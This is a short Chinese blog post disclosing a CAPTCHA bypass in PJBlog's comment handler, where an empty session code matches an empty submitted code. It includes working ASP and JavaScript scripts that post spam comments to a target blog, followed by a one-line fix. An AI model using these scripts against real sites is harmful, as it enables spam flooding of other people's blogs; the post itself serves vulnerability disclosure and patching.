很难理解为什么会有那么多的广告机,而且即使验证码显示为空白照样会有很多广告。最后终于发现是因为PJBLOG存在严重外部提交漏洞。
漏洞成因:



引用内容

blogcomm.asp文件对验证码判断不严格。
如果用户没有请求过GetCode.asp文件,那么服务器端Session里面的GetCode值为空,而用户提交的数据里面验证码也为空,这样刚好空等于空,反而通过了验证码验证。



考虑下面的外部提交代码(请谨慎使用):
ASP版:



程序代码

<%@ LANGUAGE=”VBSCRIPT” CODEPAGE=”65001″%>
<%
Dim XMLHTTP, Param
Param = “action=post&logID=118&username=” & Server.URLEncode(”我是广告机!”) & “&Message=” & Server.URLEncode(”我是广告机!”)
Set XMLHTTP = Server.CreateObject(”Msxml2.XMLHTTP”)
XMLHTTP.open “POST”, “http://localhost/blog/blogcomm.asp“, false ‘这里的localhost为攻击对象
XMLHTTP.setRequestHeader “Content-Length”, Len(Param)
XMLHTTP.setRequestHeader “Content-Type”, “application/x-www-form-urlencoded”
XMLHTTP.send(Param)
%>



JavaScript版



程序代码

<script type=”text/javascript”>
var XMLHTTP, Param;
Param = “action=post&logID=114&username=” + encodeURI(”我是广告机!”) + “&Message=” + encodeURI(”我是广告机!”);
XMLHTTP = new ActiveXObject(”Msxml2.XMLHTTP”);
XMLHTTP.open(”POST”, “http://localhost/blog/blogcomm.asp“, false); // 这里的localhost为攻击对象
XMLHTTP.setRequestHeader(”Content-Length”, Param.length);
XMLHTTP.setRequestHeader(”Content-Type”, “application/x-www-form-urlencoded”);
XMLHTTP.send(Param);
</script>



这样就可以绕过验证码从外部提交表单,散播广告。

修正方式:
修改blogcomm.asp文件,在94行的If判断表达式中加入



程序代码

or IsEmpty(Session(”GetCode”))



如下:



程序代码

IF (memName=empty or blog_validate=true) and (cstr(lcase(Session(”GetCode”)))<>cstr(lcase(validate)) or IsEmpty(Session(”GetCode”))) then

Comments are closed.

Post Navigation